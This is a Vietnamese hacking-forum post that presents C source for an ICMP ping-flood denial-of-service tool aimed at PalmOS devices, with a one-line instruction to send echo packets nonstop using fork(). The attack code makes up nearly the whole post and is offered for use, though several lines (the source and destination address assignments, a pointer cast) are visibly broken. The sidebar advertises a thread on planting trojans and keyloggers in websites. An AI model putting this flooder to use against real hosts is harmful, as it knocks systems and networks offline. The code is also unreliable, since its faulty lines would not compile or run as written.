HACKIS - Hacking Internet Security
Would you like to react to this message? Create an account in a few clicks or log in to continue.
Search
 
 

Display results as :
 


Rechercher Advanced Search

Latest topics
» Tuyệt Kỹ Đong Giai Chân Kinh (tuyệt Kỹ cua trai)
DoS PalmOS ICMP EmptyThu Aug 23, 2012 5:38 am by Admin

» Tuyệt kỹ cua giai
DoS PalmOS ICMP EmptyThu Aug 23, 2012 5:36 am by Admin

» NETCAT.........
DoS PalmOS ICMP EmptyMon Aug 13, 2012 6:35 am by Admin

» Bảo mật CSDL bằng phương pháp mã hóa.
DoS PalmOS ICMP EmptyTue Apr 17, 2012 10:04 pm by Admin

» Hàm mã hóa MD5 bằng JavaScript
DoS PalmOS ICMP EmptyTue Apr 17, 2012 10:03 pm by Admin

» Giá của món quà
DoS PalmOS ICMP EmptyFri Apr 13, 2012 6:01 am by Admin

» Sẽ chỉ yêu ai?
DoS PalmOS ICMP EmptyFri Apr 13, 2012 6:01 am by Admin

» Cách đọc bảng chữ cái!
DoS PalmOS ICMP EmptyThu Apr 12, 2012 10:37 pm by Admin

» Gắn trojan, keylog, virus vào website, forum
DoS PalmOS ICMP EmptyTue Apr 10, 2012 1:14 am by Admin

Affiliates
free forum


DoS PalmOS ICMP

Go down

DoS PalmOS ICMP Empty DoS PalmOS ICMP

Post  Admin Wed Apr 13, 2011 1:29 am

Để khai thác lỗi này, bạn cần liên tiếp gửi gói ICMP_ECHO, mà không chờ hồi âm (bằng fork()'s).

Code:
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
int main(int argc, char *argv[]) {
      if(argc < 2) {
              printf("Usage: %s <host>\n", argv[0]);
              exit(0);
      }


      int sock;
      char packet[2000];
      struct sockaddr_in dest;
      struct hostent *host;
      struct iphdr *ip = (struct iphdr *) packet;
      struct icmphdr *icmp = (struct icmp *) packet
+ sizeof(struct iphdr);
      if((host = gethostbyname(argv[1])) == NULL) {
              printf("Couldn't resolve host!\n");
              exit(-1);
      }


      if((sock = socket(AF_INET, SOCK_RAW,
IPPROTO_ICMP)) == -1) {
              printf("Couldn't make socket!\n");
              printf("You must be root to create a
raw socket.\n");
              exit(-1);
      }


      dest.sin_family = AF_INET;
      dest.sin_addr = *((struct in_addr
*)host->h_addr);
      ip->ihl = 5;
      ip->id = htons(1337);
      ip->ttl = 255;
      ip->tos = 0;
      ip->protocol = IPPROTO_ICMP;
      ip->version = 4;
      ip->frag_off = 0;
      ip->saddr = htons("127.0");
      ip->daddr = inet_ntoa(dest.sin_addr);
      ip->tot_len = sizeof(struct iphdr) +
sizeof(struct icmphdr);
      ip->check = 0;
      icmp->checksum = 0;
      icmp->type = ICMP_ECHO;
      icmp->code = 0;
      printf("Ping flooding %s!\n", argv[1]);
      fork();
      fork();
      while(1) {
              sendto(sock, packet, ip->tot_len, 0,
(struct sockaddr *)&dest, sizeof(struct sockaddr));
      }
      return(0);
}

Admin
Admin
Admin

Tổng số bài gửi : 782
Join date : 2009-08-15

https://hackis.forumvi.com

Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum